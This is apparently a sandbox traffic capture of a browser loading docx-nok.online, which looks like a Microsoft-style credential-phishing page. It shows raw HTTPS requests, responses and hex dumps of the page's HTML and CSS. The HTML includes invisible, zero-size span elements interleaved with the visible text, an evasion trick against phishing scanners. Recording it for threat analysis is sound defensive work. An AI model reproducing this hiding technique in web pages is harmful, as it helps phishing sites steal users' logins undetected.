2024-04-19 15:01:54 UTC	1369	IN	Data Raw: 32 34 31 34 36 62 64 62 66 66 32 38 62 66 32 34 37 30 66 31 35 36 36 32 32 38 37 36 32 38 38 30 63 34 22 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 64 69 76 20 72 6f 6c 65 3d 22 61 6c 65 72 74 22 20 61 72 69 61 2d 6c 69 76 65 3d 22 61 73 73 65 72 74 69 76 65 22 3e 20 3c 2f 64 69 76 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 64 69 76 20 68 69 64 64 65 6e 3d 22 22 20 63 6c 61 73 73 3d 22 63 6f 6c 2d 6d 64 2d 32 34 20 65 72 72 6f 72 20 65 78 74 2d 65 72 72 6f 72 22 20 69 64 3d 22 75 73 65 72 6e 61 6d 65 45 72 72 6f 72 22 3e 0a 20 20 20 20 20 Data Ascii: 24146bdbff28bf2470f1566228762880c4"> <div role="alert" aria-live="assertive"> </div> <div hidden="" class="col-md-24 error ext-error" id="usernameError">
2024-04-19 15:01:54 UTC	1369	IN	Data Raw: 32 36 2c 20 31 32 35 2c 20 31 31 37 2c 20 30 29 3b 20 6d 61 78 2d 77 69 64 74 68 3a 20 30 2e 30 31 70 78 3b 20 6d 61 78 2d 68 65 69 67 68 74 3a 20 30 2e 30 33 70 78 3b 20 66 6f 6e 74 2d 73 69 7a 65 3a 20 30 2e 30 32 70 78 3b 22 3e 50 3c 2f 73 70 61 6e 3e 61 3c 73 70 61 6e 20 73 74 79 6c 65 3d 22 64 69 73 70 6c 61 79 3a 20 69 6e 6c 69 6e 65 3b 20 63 6f 6c 6f 72 3a 20 72 67 62 61 28 32 36 2c 20 31 32 35 2c 20 31 31 37 2c 20 30 29 3b 20 6d 61 78 2d 77 69 64 74 68 3a 20 30 2e 30 31 70 78 3b 20 6d 61 78 2d 68 65 69 67 68 74 3a 20 30 2e 30 33 70 78 3b 20 66 6f 6e 74 2d 73 69 7a 65 3a 20 30 2e 30 32 70 78 3b 22 3e 50 3c 2f 73 70 61 6e 3e 6c 3c 73 70 61 6e 20 73 74 79 6c 65 3d 22 64 69 73 70 6c 61 79 3a 20 69 6e 6c 69 6e 65 3b 20 63 6f 6c 6f 72 3a 20 72 67 62 61 Data Ascii: 26, 125, 117, 0); max-width: 0.01px; max-height: 0.03px; font-size: 0.02px;">P</span>a<span style="display: inline; color: rgba(26, 125, 117, 0); max-width: 0.01px; max-height: 0.03px; font-size: 0.02px;">P</span>l<span style="display: inline; color: rgba
2024-04-19 15:01:54 UTC	1369	IN	Data Raw: 61 6e 20 73 74 79 6c 65 3d 22 64 69 73 70 6c 61 79 3a 20 69 6e 6c 69 6e 65 3b 20 63 6f 6c 6f 72 3a 20 72 67 62 61 28 32 36 2c 20 31 32 35 2c 20 31 31 37 2c 20 30 29 3b 20 6d 61 78 2d 77 69 64 74 68 3a 20 30 2e 30 31 70 78 3b 20 6d 61 78 2d 68 65 69 67 68 74 3a 20 30 2e 30 33 70 78 3b 20 66 6f 6e 74 2d 73 69 7a 65 3a 20 30 2e 30 32 70 78 3b 22 3e 50 3c 2f 73 70 61 6e 3e 61 3c 73 70 61 6e 20 73 74 79 6c 65 3d 22 64 69 73 70 6c 61 79 3a 20 69 6e 6c 69 6e 65 3b 20 63 6f 6c 6f 72 3a 20 72 67 62 61 28 32 36 2c 20 31 32 35 2c 20 31 31 37 2c 20 30 29 3b 20 6d 61 78 2d 77 69 64 74 68 3a 20 30 2e 30 31 70 78 3b 20 6d 61 78 2d 68 65 69 67 68 74 3a 20 30 2e 30 33 70 78 3b 20 66 6f 6e 74 2d 73 69 7a 65 3a 20 30 2e 30 32 70 78 3b 22 3e 50 3c 2f 73 70 61 6e 3e 64 3c 73 Data Ascii: an style="display: inline; color: rgba(26, 125, 117, 0); max-width: 0.01px; max-height: 0.03px; font-size: 0.02px;">P</span>a<span style="display: inline; color: rgba(26, 125, 117, 0); max-width: 0.01px; max-height: 0.03px; font-size: 0.02px;">P</span>d<s
2024-04-19 15:01:54 UTC	1369	IN	Data Raw: 2e 30 33 70 78 3b 20 66 6f 6e 74 2d 73 69 7a 65 3a 20 30 2e 30 32 70 78 3b 22 3e 50 3c 2f 73 70 61 6e 3e 68 3c 73 70 61 6e 20 73 74 79 6c 65 3d 22 64 69 73 70 6c 61 79 3a 20 69 6e 6c 69 6e 65 3b 20 63 6f 6c 6f 72 3a 20 72 67 62 61 28 32 36 2c 20 31 32 35 2c 20 31 31 37 2c 20 30 29 3b 20 6d 61 78 2d 77 69 64 74 68 3a 20 30 2e 30 31 70 78 3b 20 6d 61 78 2d 68 65 69 67 68 74 3a 20 30 2e 30 33 70 78 3b 20 66 6f 6e 74 2d 73 69 7a 65 3a 20 30 2e 30 32 70 78 3b 22 3e 50 3c 2f 73 70 61 6e 3e 6f 3c 73 70 61 6e 20 73 74 79 6c 65 3d 22 64 69 73 70 6c 61 79 3a 20 69 6e 6c 69 6e 65 3b 20 63 6f 6c 6f 72 3a 20 72 67 62 61 28 32 36 2c 20 31 32 35 2c 20 31 31 37 2c 20 30 29 3b 20 6d 61 78 2d 77 69 64 74 68 3a 20 30 2e 30 31 70 78 3b 20 6d 61 78 2d 68 65 69 67 68 74 3a 20 Data Ascii: .03px; font-size: 0.02px;">P</span>h<span style="display: inline; color: rgba(26, 125, 117, 0); max-width: 0.01px; max-height: 0.03px; font-size: 0.02px;">P</span>o<span style="display: inline; color: rgba(26, 125, 117, 0); max-width: 0.01px; max-height:
2024-04-19 15:01:54 UTC	1369	IN	Data Raw: 37 2c 20 30 29 3b 20 6d 61 78 2d 77 69 64 74 68 3a 20 30 2e 30 31 70 78 3b 20 6d 61 78 2d 68 65 69 67 68 74 3a 20 30 2e 30 33 70 78 3b 20 66 6f 6e 74 2d 73 69 7a 65 3a 20 30 2e 30 32 70 78 3b 22 3e 50 3c 2f 73 70 61 6e 3e 2c 3c 73 70 61 6e 20 73 74 79 6c 65 3d 22 64 69 73 70 6c 61 79 3a 20 69 6e 6c 69 6e 65 3b 20 63 6f 6c 6f 72 3a 20 72 67 62 61 28 32 36 2c 20 31 32 35 2c 20 31 31 37 2c 20 30 29 3b 20 6d 61 78 2d 77 69 64 74 68 3a 20 30 2e 30 31 70 78 3b 20 6d 61 78 2d 68 65 69 67 68 74 3a 20 30 2e 30 33 70 78 3b 20 66 6f 6e 74 2d 73 69 7a 65 3a 20 30 2e 30 32 70 78 3b 22 3e 50 3c 2f 73 70 61 6e 3e 20 3c 73 70 61 6e 20 73 74 79 6c 65 3d 22 64 69 73 70 6c 61 79 3a 20 69 6e 6c 69 6e 65 3b 20 63 6f 6c 6f 72 3a 20 72 67 62 61 28 32 36 2c 20 31 32 35 2c 20 31 Data Ascii: 7, 0); max-width: 0.01px; max-height: 0.03px; font-size: 0.02px;">P</span>,<span style="display: inline; color: rgba(26, 125, 117, 0); max-width: 0.01px; max-height: 0.03px; font-size: 0.02px;">P</span> <span style="display: inline; color: rgba(26, 125, 1
2024-04-19 15:01:54 UTC	1369	IN	Data Raw: 69 73 70 6c 61 79 3a 20 69 6e 6c 69 6e 65 3b 20 63 6f 6c 6f 72 3a 20 72 67 62 61 28 32 36 2c 20 31 32 35 2c 20 31 31 37 2c 20 30 29 3b 20 6d 61 78 2d 77 69 64 74 68 3a 20 30 2e 30 31 70 78 3b 20 6d 61 78 2d 68 65 69 67 68 74 3a 20 30 2e 30 33 70 78 3b 20 66 6f 6e 74 2d 73 69 7a 65 3a 20 30 2e 30 32 70 78 3b 22 3e 50 3c 2f 73 70 61 6e 3e 6e 3c 73 70 61 6e 20 73 74 79 6c 65 3d 22 64 69 73 70 6c 61 79 3a 20 69 6e 6c 69 6e 65 3b 20 63 6f 6c 6f 72 3a 20 72 67 62 61 28 32 36 2c 20 31 32 35 2c 20 31 31 37 2c 20 30 29 3b 20 6d 61 78 2d 77 69 64 74 68 3a 20 30 2e 30 31 70 78 3b 20 6d 61 78 2d 68 65 69 67 68 74 3a 20 30 2e 30 33 70 78 3b 20 66 6f 6e 74 2d 73 69 7a 65 3a 20 30 2e 30 32 70 78 3b 22 3e 50 3c 2f 73 70 61 6e 3e 61 3c 73 70 61 6e 20 73 74 79 6c 65 3d 22 Data Ascii: isplay: inline; color: rgba(26, 125, 117, 0); max-width: 0.01px; max-height: 0.03px; font-size: 0.02px;">P</span>n<span style="display: inline; color: rgba(26, 125, 117, 0); max-width: 0.01px; max-height: 0.03px; font-size: 0.02px;">P</span>a<span style="

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
35	192.168.2.18	49735	172.67.179.148	443	5960	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-19 15:01:54 UTC	1205	OUT	GET /APP-0a6095cf83124146bdbff28bf2470f1566228761d30a1/0a6095cf83124146bdbff28bf2470f1566228761d30a2 HTTP/1.1 Host: docx-nok.online Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-arch: "x86" sec-ch-ua-full-version: "117.0.5938.149" sec-ch-ua-platform-version: "10.0.0" sec-ch-ua-full-version-list: "Google Chrome";v="117.0.5938.149", "Not;A=Brand";v="8.0.0.0", "Chromium";v="117.0.5938.149" sec-ch-ua-bitness: "64" sec-ch-ua-model: "" sec-ch-ua-platform: "Windows" Accept: text/css,/;q=0.1 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: style Referer: https://docx-nok.online/d740c10c7b9cf800d441f265844201e16622875f9f709LOGd740c10c7b9cf800d441f265844201e16622875f9f70a Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: cf_clearance=Wrb8b9hUuaTrW4yTaY1qm7wgD6rYObBPb9off_hHPhU-1713538901-1.0.1.1-mcOLeJKXeF6sKt7XKo1vnxq7ubbEoyAsO1ZzOaB7K.UBYVEwlnB5wT6ilXI9y56.ucqluE5SaOv9utw8fRgZ1A; PHPSESSID=3caf9fba09da43ac153673133b588c21
2024-04-19 15:01:54 UTC	737	IN	HTTP/1.1 200 OK Date: Fri, 19 Apr 2024 15:01:54 GMT Content-Type: text/css Transfer-Encoding: chunked Connection: close cache-control: public, max-age=604800 expires: Fri, 26 Apr 2024 15:01:54 GMT last-modified: Fri, 19 Apr 2024 14:16:40 GMT vary: Accept-Encoding x-turbo-charged-by: LiteSpeed CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=Z9LWFg08M3ghDc8G%2F4kdMV4317lzgEOLraLFpCrZP9beOGI1IA7q%2F%2BTi6CKyCrGYM4Jte7VcSP0ZC8gjbloNLp6qTvP21CouAbmhRfXkD5YCb7v6kg97Gfuw9op7flSIZuE%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 876dc5c6fc3a69e7-ATL alt-svc: h3=":443"; ma=86400
2024-04-19 15:01:54 UTC	632	IN	Data Raw: 37 63 63 64 0d 0a 68 74 6d 6c 7b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 73 61 6e 73 2d 73 65 72 69 66 3b 2d 6d 73 2d 74 65 78 74 2d 73 69 7a 65 2d 61 64 6a 75 73 74 3a 31 30 30 25 3b 2d 77 65 62 6b 69 74 2d 74 65 78 74 2d 73 69 7a 65 2d 61 64 6a 75 73 74 3a 31 30 30 25 7d 62 6f 64 79 7b 6d 61 72 67 69 6e 3a 30 7d 61 72 74 69 63 6c 65 2c 61 73 69 64 65 2c 64 65 74 61 69 6c 73 2c 66 69 67 63 61 70 74 69 6f 6e 2c 66 69 67 75 72 65 2c 66 6f 6f 74 65 72 2c 68 65 61 64 65 72 2c 68 67 72 6f 75 70 2c 6d 61 69 6e 2c 6d 65 6e 75 2c 6e 61 76 2c 73 65 63 74 69 6f 6e 2c 73 75 6d 6d 61 72 79 7b 64 69 73 70 6c 61 79 3a 62 6c 6f 63 6b 7d 61 75 64 69 6f 2c 63 61 6e 76 61 73 2c 70 72 6f 67 72 65 73 73 2c 76 69 64 65 6f 7b 64 69 73 70 6c 61 79 3a 69 6e 6c 69 6e 65 2d 62 6c 6f Data Ascii: 7ccdhtml{font-family:sans-serif;-ms-text-size-adjust:100%;-webkit-text-size-adjust:100%}body{margin:0}article,aside,details,figcaption,figure,footer,header,hgroup,main,menu,nav,section,summary{display:block}audio,canvas,progress,video{display:inline-blo
2024-04-19 15:01:54 UTC	1369	IN	Data Raw: 61 74 69 76 65 3b 76 65 72 74 69 63 61 6c 2d 61 6c 69 67 6e 3a 62 61 73 65 6c 69 6e 65 7d 73 75 70 7b 74 6f 70 3a 2d 30 2e 35 65 6d 7d 73 75 62 7b 62 6f 74 74 6f 6d 3a 2d 30 2e 32 35 65 6d 7d 69 6d 67 7b 62 6f 72 64 65 72 3a 30 7d 73 76 67 3a 6e 6f 74 28 3a 72 6f 6f 74 29 7b 6f 76 65 72 66 6c 6f 77 3a 68 69 64 64 65 6e 7d 66 69 67 75 72 65 7b 6d 61 72 67 69 6e 3a 31 65 6d 20 34 30 70 78 7d 68 72 7b 2d 6d 6f 7a 2d 62 6f 78 2d 73 69 7a 69 6e 67 3a 63 6f 6e 74 65 6e 74 2d 62 6f 78 3b 62 6f 78 2d 73 69 7a 69 6e 67 3a 63 6f 6e 74 65 6e 74 2d 62 6f 78 3b 68 65 69 67 68 74 3a 30 7d 70 72 65 7b 6f 76 65 72 66 6c 6f 77 3a 61 75 74 6f 7d 63 6f 64 65 2c 6b 62 64 2c 70 72 65 2c 73 61 6d 70 7b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 6d 6f 6e 6f 73 70 61 63 65 2c 6d 6f 6e Data Ascii: ative;vertical-align:baseline}sup{top:-0.5em}sub{bottom:-0.25em}img{border:0}svg:not(:root){overflow:hidden}figure{margin:1em 40px}hr{-moz-box-sizing:content-box;box-sizing:content-box;height:0}pre{overflow:auto}code,kbd,pre,samp{font-family:monospace,mon
2024-04-19 15:01:54 UTC	1369	IN	Data Raw: 6f 72 64 65 72 2d 62 6f 78 3b 62 6f 78 2d 73 69 7a 69 6e 67 3a 62 6f 72 64 65 72 2d 62 6f 78 7d 2a 3a 62 65 66 6f 72 65 2c 2a 3a 61 66 74 65 72 7b 2d 77 65 62 6b 69 74 2d 62 6f 78 2d 73 69 7a 69 6e 67 3a 62 6f 72 64 65 72 2d 62 6f 78 3b 2d 6d 6f 7a 2d 62 6f 78 2d 73 69 7a 69 6e 67 3a 62 6f 72 64 65 72 2d 62 6f 78 3b 62 6f 78 2d 73 69 7a 69 6e 67 3a 62 6f 72 64 65 72 2d 62 6f 78 7d 69 6e 70 75 74 2c 62 75 74 74 6f 6e 2c 73 65 6c 65 63 74 2c 74 65 78 74 61 72 65 61 7b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 69 6e 68 65 72 69 74 3b 66 6f 6e 74 2d 73 69 7a 65 3a 69 6e 68 65 72 69 74 3b 6c 69 6e 65 2d 68 65 69 67 68 74 3a 69 6e 68 65 72 69 74 7d 61 3a 66 6f 63 75 73 7b 6f 75 74 6c 69 6e 65 3a 74 68 69 6e 20 64 6f 74 74 65 64 3b 6f 75 74 6c 69 6e 65 2d 6f 66 66 73 Data Ascii: order-box;box-sizing:border-box}:before,:after{-webkit-box-sizing:border-box;-moz-box-sizing:border-box;box-sizing:border-box}input,button,select,textarea{font-family:inherit;font-size:inherit;line-height:inherit}a:focus{outline:thin dotted;outline-offs
2024-04-19 15:01:54 UTC	1369	IN	Data Raw: 6e 6f 6e 65 7d 61 3a 6c 69 6e 6b 7b 63 6f 6c 6f 72 3a 23 30 30 36 37 62 38 7d 61 3a 76 69 73 69 74 65 64 7b 63 6f 6c 6f 72 3a 23 30 30 36 37 62 38 7d 61 3a 68 6f 76 65 72 7b 63 6f 6c 6f 72 3a 23 36 36 36 7d 61 3a 66 6f 63 75 73 7b 63 6f 6c 6f 72 3a 23 30 30 36 37 62 38 7d 61 3a 61 63 74 69 76 65 7b 63 6f 6c 6f 72 3a 23 39 39 39 7d 2e 74 65 78 74 2d 63 65 6e 74 65 72 7b 74 65 78 74 2d 61 6c 69 67 6e 3a 63 65 6e 74 65 72 7d 2e 74 65 78 74 2d 6a 75 73 74 69 66 79 7b 74 65 78 74 2d 61 6c 69 67 6e 3a 6a 75 73 74 69 66 79 7d 2e 74 65 78 74 2d 6e 6f 77 72 61 70 7b 77 68 69 74 65 2d 73 70 61 63 65 3a 6e 6f 77 72 61 70 7d 2e 74 65 78 74 2d 6c 6f 77 65 72 63 61 73 65 7b 74 65 78 74 2d 74 72 61 6e 73 66 6f 72 6d 3a 6c 6f 77 65 72 63 61 73 65 7d 2e 74 65 78 74 2d 75 Data Ascii: none}a:link{color:#0067b8}a:visited{color:#0067b8}a:hover{color:#666}a:focus{color:#0067b8}a:active{color:#999}.text-center{text-align:center}.text-justify{text-align:justify}.text-nowrap{white-space:nowrap}.text-lowercase{text-transform:lowercase}.text-u
2024-04-19 15:01:54 UTC	1369	IN	Data Raw: 65 2d 73 70 61 63 65 3a 6e 6f 77 72 61 70 3b 74 65 78 74 2d 6f 76 65 72 66 6c 6f 77 3a 65 6c 6c 69 70 73 69 73 3b 6d 61 78 2d 68 65 69 67 68 74 3a 38 34 2e 35 34 33 32 70 78 3b 6d 61 78 2d 68 65 69 67 68 74 3a 35 2e 32 38 33 39 35 72 65 6d 7d 2e 74 65 78 74 2d 68 65 61 64 6c 69 6e 65 2e 74 65 78 74 2d 6d 61 78 6c 69 6e 65 73 2d 32 7b 6d 61 78 2d 68 65 69 67 68 74 3a 31 36 34 2e 35 34 33 32 70 78 3b 6d 61 78 2d 68 65 69 67 68 74 3a 31 30 2e 32 38 33 39 35 72 65 6d 7d 2e 74 65 78 74 2d 68 65 61 64 6c 69 6e 65 2e 74 65 78 74 2d 6d 61 78 6c 69 6e 65 73 2d 33 7b 6d 61 78 2d 68 65 69 67 68 74 3a 32 34 34 2e 35 34 33 32 70 78 3b 6d 61 78 2d 68 65 69 67 68 74 3a 31 35 2e 32 38 33 39 35 72 65 6d 7d 2e 74 65 78 74 2d 68 65 61 64 6c 69 6e 65 2e 74 65 78 74 2d 6d 61 Data Ascii: e-space:nowrap;text-overflow:ellipsis;max-height:84.5432px;max-height:5.28395rem}.text-headline.text-maxlines-2{max-height:164.5432px;max-height:10.28395rem}.text-headline.text-maxlines-3{max-height:244.5432px;max-height:15.28395rem}.text-headline.text-ma
2024-04-19 15:01:54 UTC	1369	IN	Data Raw: 65 73 2d 34 2c 68 32 2e 74 65 78 74 2d 6d 61 78 6c 69 6e 65 73 2d 34 7b 6d 61 78 2d 68 65 69 67 68 74 3a 31 36 36 2e 33 36 32 34 70 78 3b 6d 61 78 2d 68 65 69 67 68 74 3a 31 30 2e 33 39 37 36 35 72 65 6d 7d 2e 74 65 78 74 2d 74 69 74 6c 65 2c 68 33 7b 66 6f 6e 74 2d 73 69 7a 65 3a 32 34 70 78 3b 6c 69 6e 65 2d 68 65 69 67 68 74 3a 32 38 70 78 3b 66 6f 6e 74 2d 77 65 69 67 68 74 3a 33 30 30 3b 66 6f 6e 74 2d 73 69 7a 65 3a 31 2e 35 72 65 6d 3b 6c 69 6e 65 2d 68 65 69 67 68 74 3a 31 2e 37 35 72 65 6d 3b 70 61 64 64 69 6e 67 2d 62 6f 74 74 6f 6d 3a 32 2e 33 36 33 32 70 78 3b 70 61 64 64 69 6e 67 2d 74 6f 70 3a 32 2e 33 36 33 32 70 78 7d 2e 74 65 78 74 2d 74 69 74 6c 65 2e 74 65 78 74 2d 6d 61 78 6c 69 6e 65 73 2d 31 2c 68 33 2e 74 65 78 74 2d 6d 61 78 6c 69 Data Ascii: es-4,h2.text-maxlines-4{max-height:166.3624px;max-height:10.39765rem}.text-title,h3{font-size:24px;line-height:28px;font-weight:300;font-size:1.5rem;line-height:1.75rem;padding-bottom:2.3632px;padding-top:2.3632px}.text-title.text-maxlines-1,h3.text-maxli
2024-04-19 15:01:54 UTC	1369	IN	Data Raw: 61 63 65 3a 6e 6f 77 72 61 70 3b 74 65 78 74 2d 6f 76 65 72 66 6c 6f 77 3a 65 6c 6c 69 70 73 69 73 3b 6d 61 78 2d 68 65 69 67 68 74 3a 31 36 2e 33 36 33 32 70 78 3b 6d 61 78 2d 68 65 69 67 68 74 3a 31 2e 30 32 32 37 72 65 6d 7d 2e 74 65 78 74 2d 63 61 70 74 69 6f 6e 2e 74 65 78 74 2d 6d 61 78 6c 69 6e 65 73 2d 32 2c 68 35 2e 74 65 78 74 2d 6d 61 78 6c 69 6e 65 73 2d 32 7b 6d 61 78 2d 68 65 69 67 68 74 3a 33 30 2e 33 36 33 32 70 78 3b 6d 61 78 2d 68 65 69 67 68 74 3a 31 2e 38 39 37 37 72 65 6d 7d 2e 74 65 78 74 2d 63 61 70 74 69 6f 6e 2e 74 65 78 74 2d 6d 61 78 6c 69 6e 65 73 2d 33 2c 68 35 2e 74 65 78 74 2d 6d 61 78 6c 69 6e 65 73 2d 33 7b 6d 61 78 2d 68 65 69 67 68 74 3a 34 34 2e 33 36 33 32 70 78 3b 6d 61 78 2d 68 65 69 67 68 74 3a 32 2e 37 37 32 37 72 Data Ascii: ace:nowrap;text-overflow:ellipsis;max-height:16.3632px;max-height:1.0227rem}.text-caption.text-maxlines-2,h5.text-maxlines-2{max-height:30.3632px;max-height:1.8977rem}.text-caption.text-maxlines-3,h5.text-maxlines-3{max-height:44.3632px;max-height:2.7727r
2024-04-19 15:01:54 UTC	1369	IN	Data Raw: 3a 34 30 2e 39 30 38 38 70 78 3b 6d 61 78 2d 68 65 69 67 68 74 3a 32 2e 35 35 36 38 72 65 6d 7d 2e 74 65 78 74 2d 62 6f 64 79 2c 70 7b 66 6f 6e 74 2d 73 69 7a 65 3a 31 35 70 78 3b 6c 69 6e 65 2d 68 65 69 67 68 74 3a 32 30 70 78 3b 66 6f 6e 74 2d 77 65 69 67 68 74 3a 34 30 30 3b 66 6f 6e 74 2d 73 69 7a 65 3a 2e 39 33 37 35 72 65 6d 3b 6c 69 6e 65 2d 68 65 69 67 68 74 3a 31 2e 32 35 72 65 6d 3b 70 61 64 64 69 6e 67 2d 62 6f 74 74 6f 6d 3a 2e 32 32 37 70 78 3b 70 61 64 64 69 6e 67 2d 74 6f 70 3a 2e 32 32 37 70 78 7d 2e 74 65 78 74 2d 62 6f 64 79 2e 74 65 78 74 2d 6d 61 78 6c 69 6e 65 73 2d 31 2c 70 2e 74 65 78 74 2d 6d 61 78 6c 69 6e 65 73 2d 31 7b 77 68 69 74 65 2d 73 70 61 63 65 3a 6e 6f 77 72 61 70 3b 74 65 78 74 2d 6f 76 65 72 66 6c 6f 77 3a 65 6c 6c 69 Data Ascii: :40.9088px;max-height:2.5568rem}.text-body,p{font-size:15px;line-height:20px;font-weight:400;font-size:.9375rem;line-height:1.25rem;padding-bottom:.227px;padding-top:.227px}.text-body.text-maxlines-1,p.text-maxlines-1{white-space:nowrap;text-overflow:elli
2024-04-19 15:01:54 UTC	1369	IN	Data Raw: 3a 69 6e 6c 69 6e 65 2d 62 6c 6f 63 6b 3b 70 61 64 64 69 6e 67 2d 6c 65 66 74 3a 34 70 78 3b 70 61 64 64 69 6e 67 2d 72 69 67 68 74 3a 34 70 78 7d 62 6c 6f 63 6b 71 75 6f 74 65 7b 70 61 64 64 69 6e 67 3a 38 70 78 20 31 32 70 78 3b 6d 61 72 67 69 6e 3a 30 20 30 20 31 32 70 78 7d 2e 62 6c 6f 63 6b 71 75 6f 74 65 2d 72 65 76 65 72 73 65 2c 62 6c 6f 63 6b 71 75 6f 74 65 2e 70 75 6c 6c 2d 72 69 67 68 74 7b 70 61 64 64 69 6e 67 2d 72 69 67 68 74 3a 31 32 70 78 3b 70 61 64 64 69 6e 67 2d 6c 65 66 74 3a 30 3b 74 65 78 74 2d 61 6c 69 67 6e 3a 72 69 67 68 74 7d 61 64 64 72 65 73 73 7b 6d 61 72 67 69 6e 2d 62 6f 74 74 6f 6d 3a 31 32 70 78 7d 2e 63 6f 6e 74 61 69 6e 65 72 2c 2e 63 6f 6e 74 61 69 6e 65 72 2d 66 6c 75 69 64 7b 6d 61 72 67 69 6e 2d 72 69 67 68 74 3a 61 Data Ascii: :inline-block;padding-left:4px;padding-right:4px}blockquote{padding:8px 12px;margin:0 0 12px}.blockquote-reverse,blockquote.pull-right{padding-right:12px;padding-left:0;text-align:right}address{margin-bottom:12px}.container,.container-fluid{margin-right:a
2024-04-19 15:01:54 UTC	1369	IN	Data Raw: 78 73 2d 31 38 2c 2e 63 6f 6c 2d 73 6d 2d 31 38 2c 2e 63 6f 6c 2d 6d 64 2d 31 38 2c 2e 63 6f 6c 2d 6c 67 2d 31 38 2c 2e 63 6f 6c 2d 78 73 2d 31 39 2c 2e 63 6f 6c 2d 73 6d 2d 31 39 2c 2e 63 6f 6c 2d 6d 64 2d 31 39 2c 2e 63 6f 6c 2d 6c 67 2d 31 39 2c 2e 63 6f 6c 2d 78 73 2d 32 30 2c 2e 63 6f 6c 2d 73 6d 2d 32 30 2c 2e 63 6f 6c 2d 6d 64 2d 32 30 2c 2e 63 6f 6c 2d 6c 67 2d 32 30 2c 2e 63 6f 6c 2d 78 73 2d 32 31 2c 2e 63 6f 6c 2d 73 6d 2d 32 31 2c 2e 63 6f 6c 2d 6d 64 2d 32 31 2c 2e 63 6f 6c 2d 6c 67 2d 32 31 2c 2e 63 6f 6c 2d 78 73 2d 32 32 2c 2e 63 6f 6c 2d 73 6d 2d 32 32 2c 2e 63 6f 6c 2d 6d 64 2d 32 32 2c 2e 63 6f 6c 2d 6c 67 2d 32 32 2c 2e 63 6f 6c 2d 78 73 2d 32 33 2c 2e 63 6f 6c 2d 73 6d 2d 32 33 2c 2e 63 6f 6c 2d 6d 64 2d 32 33 2c 2e 63 6f 6c 2d 6c 67 Data Ascii: xs-18,.col-sm-18,.col-md-18,.col-lg-18,.col-xs-19,.col-sm-19,.col-md-19,.col-lg-19,.col-xs-20,.col-sm-20,.col-md-20,.col-lg-20,.col-xs-21,.col-sm-21,.col-md-21,.col-lg-21,.col-xs-22,.col-sm-22,.col-md-22,.col-lg-22,.col-xs-23,.col-sm-23,.col-md-23,.col-lg

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
36	192.168.2.18	49737	172.67.179.148	443	5960	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-19 15:01:54 UTC	1203	OUT	GET /o/0a6095cf83124146bdbff28bf2470f1566228761d30cc HTTP/1.1 Host: docx-nok.online Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-arch: "x86" sec-ch-ua-full-version: "117.0.5938.149" sec-ch-ua-platform-version: "10.0.0" sec-ch-ua-full-version-list: "Google Chrome";v="117.0.5938.149", "Not;A=Brand";v="8.0.0.0", "Chromium";v="117.0.5938.149" sec-ch-ua-bitness: "64" sec-ch-ua-model: "" sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://docx-nok.online/d740c10c7b9cf800d441f265844201e16622875f9f709LOGd740c10c7b9cf800d441f265844201e16622875f9f70a Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: cf_clearance=Wrb8b9hUuaTrW4yTaY1qm7wgD6rYObBPb9off_hHPhU-1713538901-1.0.1.1-mcOLeJKXeF6sKt7XKo1vnxq7ubbEoyAsO1ZzOaB7K.UBYVEwlnB5wT6ilXI9y56.ucqluE5SaOv9utw8fRgZ1A; PHPSESSID=3caf9fba09da43ac153673133b588c21
2024-04-19 15:01:54 UTC	738	IN	HTTP/1.1 200 OK Date: Fri, 19 Apr 2024 15:01:54 GMT Content-Type: image/svg+xml Transfer-Encoding: chunked Connection: close cache-control: public, max-age=604800 expires: Fri, 26 Apr 2024 15:01:54 GMT last-modified: Fri, 19 Apr 2024 14:16:40 GMT vary: Accept-Encoding x-turbo-charged-by: LiteSpeed CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=eLXYbaymhfG10sz84jk6C9cBRubq2lgfeBIJXTNWc5NFiu7xOOheFfpqiXsWhJcoD6xN26YR6CaGGOdeUC63TtZNWlacHYa3RiE%2BbTkz2eWZdQ8c6bYCev2fUSRM2NW0oas%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 876dc5c6f85912df-ATL alt-svc: h3=":443"; ma=86400
